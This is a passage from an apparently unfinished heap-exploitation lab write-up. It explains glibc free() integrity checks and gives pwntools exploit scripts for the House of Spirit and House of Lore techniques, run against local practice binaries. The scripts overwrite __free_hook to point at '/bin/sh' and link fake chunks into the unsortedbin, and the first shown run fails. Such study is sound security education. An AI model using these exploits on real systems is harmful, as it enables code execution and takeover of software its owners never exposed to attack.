</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4322"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4322">4322</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4323"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4323">4323</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4324"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4324">4324</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4325"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4325">4325</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4326"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4326">4326</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4327"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4327">4327</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4328"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4328">4328</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4329"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4329">4329</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4330"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4330">4330</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4331"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4331">4331</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4332"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4332">4332</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4333"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4333">4333</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--b73499-4334"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--b73499-4334">4334</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Lightweight tests: check whether the block is already the
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   top block.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (p <span style="color:#00d3d0">==</span> av<span style="color:#00d3d0">-&gt;</span>top))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (top)&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* Or whether the next chunk is beyond the boundaries of the arena.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">contiguous</span> (av)
</span></span><span style="display:flex;"><span>  <span style="color:#00d3d0">&amp;&amp;</span> (<span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>) nextchunk
</span></span><span style="display:flex;"><span>  <span style="color:#00d3d0">&gt;=</span> ((<span style="color:#6ae4b9">char</span> <span style="color:#00d3d0">*</span>) av<span style="color:#00d3d0">-&gt;</span>top <span style="color:#00d3d0">+</span> <span style="color:#feacd0">chunksize</span>(av<span style="color:#00d3d0">-&gt;</span>top)), <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span><span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (out)&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* Or whether the block is actually not marked used.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">prev_inuse</span>(nextchunk)))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;double free or corruption (!prev)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>nextsize <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunksize</span>(nextchunk);
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (<span style="color:#feacd0">chunksize_nomask</span> (nextchunk) <span style="color:#00d3d0">&lt;=</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">*</span> SIZE_SZ, <span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#00d3d0">||</span> <span style="color:#feacd0">__builtin_expect</span> (nextsize <span style="color:#00d3d0">&gt;=</span> av<span style="color:#00d3d0">-&gt;</span>system_mem, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;free(): invalid next size (normal)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#feacd0">free_perturb</span> (<span style="color:#feacd0">chunk2mem</span>(p), size <span style="color:#00d3d0">-</span> <span style="color:#00bcff">2</span> <span style="color:#00d3d0">*</span> SIZE_SZ);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">/* consolidate backward */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">prev_inuse</span>(p)) {
</span></span><span style="display:flex;"><span>  prevsize <span style="color:#00d3d0">=</span> <span style="color:#feacd0">prev_size</span> (p);
</span></span><span style="display:flex;"><span>  size <span style="color:#00d3d0">+=</span> prevsize;
</span></span><span style="display:flex;"><span>  p <span style="color:#00d3d0">=</span> <span style="color:#feacd0">chunk_at_offset</span>(p, <span style="color:#00d3d0">-</span>((<span style="color:#6ae4b9">long</span>) prevsize));
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (<span style="color:#feacd0">chunksize</span>(p) <span style="color:#00d3d0">!=</span> prevsize))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted size vs. prev_size while consolidating&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#feacd0">unlink_chunk</span> (av, p);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>In short order, chunks must</p>
<ul>
<li>Be <a href="/writeups/heaplab/#org-coderef--d3da7a-4172">aligned</a> and have an <a href="/writeups/heaplab/#org-coderef--d3da7a-4176">aligned size field</a></li>
<li>(For a contiguous arena and non-fastbin chunks) <a href="/writeups/heaplab/#org-coderef--b73499-4313">not exist above the heap</a></li>
<li>Have the <a href="/writeups/heaplab/#org-coderef--b73499-4316">next chunk&rsquo;s <kbd>prev_inuse</kbd> flag cleared</a></li>
<li>Not be marked as <kbd>non_main_arena</kbd> (will probably segfault) or <kbd>is_mmapped</kbd> (will not add chunk to a freelist)</li>
</ul>
<h3 id="solve"><span class="org-todo todo TODO">TODO</span> Solve</h3>
<p>Because we have a heap leak, the simplest thing to do is pivot to a double free and then use the fastbin dup technique, but alas, we can&rsquo;t use the simple version due to the quirk of addresses behaving differently under QEMU (if we had more allocations it might be a different story).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_spirit&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data, name):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;chunk name: &#34;</span>, name)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your age: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span><span style="color:#00bcff">0</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Fred&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;a&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;B&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;b&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x30</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;c&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span> <span style="color:#00d3d0">+</span> p64(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk A] -&gt; [chunk B] -&gt; [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;d&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: [chunk B] -&gt; [chunk A] -&gt; &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;E&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;e&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;F&#34;</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;f&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x20 freelist: &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(<span style="color:#f78fe7">next</span>(libc<span style="color:#00d3d0">.</span>search(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>))), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;g&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">6</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;malloc(): memory corruption (fast)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-lore">House of Lore</h2>
<p>This is a rather broad type of attack that involves tampering with heap metadata to link fake chunks into the different freelists (unsortedbins, smallbins, largebins) that malloc keeps track of.
A fake chunk can then be used to service a request, usually leading to a leak or a write primitive.</p>
<h3 id="solve">Solve</h3>
<p>The challenge binary has a very straightforward UAF write bug which we can use to easily overwrite freelist pointers; the only trick is not failing malloc&rsquo;s corruption checks.</p>
<p><a id="code-snippet--lore-setup"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_lore&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)</span></span></code></pre></div>
</details>

<h4 id="unsortedbins">Unsortedbins</h4>
<p>This proceeds similarly to the unsortedbin attack; allocate one chunk and an extra padding chunk to prevent consolidation with the top chunk, free the first chunk, and edit that chunks&rsquo; <kbd>bk</kbd> pointer to insert a fake chunk in the unsortedbin.
The size of the first <kbd>malloc</kbd>​ed chunk should be smaller than the size of the fake chunk so that <kbd>malloc</kbd> will skip the tail of the unsortedbin (the first chunk) and service the request with the fake chunk instead.</p>
<p>I&rsquo;m sure there&rsquo;s a way to pop a shell in this binary, but for the time being I&rsquo;m going to take the easy way out and just focus on overwriting the target memory.</p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xa0</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x10</span>))
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># unsortedbin: [fake chunk] &lt;- [chunk A] -&gt; 0xdeadbeefdeadbeef</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">2</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h4 id="smallbins">Smallbins</h4>
<p>When <kbd>malloc</kbd> traverses the unsortedbin to service a request, it is simultaneously sorting the chunks it can&rsquo;t use into the small and large bins (depending on their size).</p>
<p>So the strategy is the same as with linking into the unsortedbin, but there&rsquo;s an additional check in the codepath that handles smallbins:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
